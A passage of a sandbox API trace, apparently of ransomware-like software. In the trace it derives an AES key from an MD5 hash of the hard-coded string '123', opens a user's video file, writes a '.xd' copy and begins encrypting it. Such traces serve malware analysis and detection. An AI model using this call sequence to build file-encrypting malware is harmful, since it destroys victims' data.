WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.714] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.714] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aabc0) returned 1 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.715] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.716] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.716] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.716] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.716] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.716] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.716] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.716] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.716] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.717] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.717] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.717] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.717] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.717] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.717] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.717] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.717] CryptCreateHash (in: hProv=0x17aabc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.718] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.719] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.719] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629640, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.720] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.720] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621798, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.720] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.720] CryptHashData (hHash=0x164ca30, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.720] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.721] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.721] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.721] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.721] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.721] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621690, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.734] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.742] CryptDeriveKey (in: hProv=0x17aabc0, Algid=0x6610, hBaseData=0x164ca30, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6f0) returned 1 [0066.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.744] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.745] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.745] CryptDestroyHash (hHash=0x164ca30) returned 1 [0066.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.745] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.745] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rf6-cq.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.746] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.746] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.746] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.746] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.746] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.746] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb")) returned 0x10 [0066.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\rf6-cq.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.749] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.749] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xede8, lpOverlapped=0x0) returned 1 [0066.751] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.756] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.757] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.757] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.758] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.758] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.758] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.758] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.758] CryptGetKeyParam (in: hKey=0x164c6f0, dwParam=0x7, pbData=0x1629570, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629570*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.759] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.759] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.759] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.759] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.760] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.760] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", 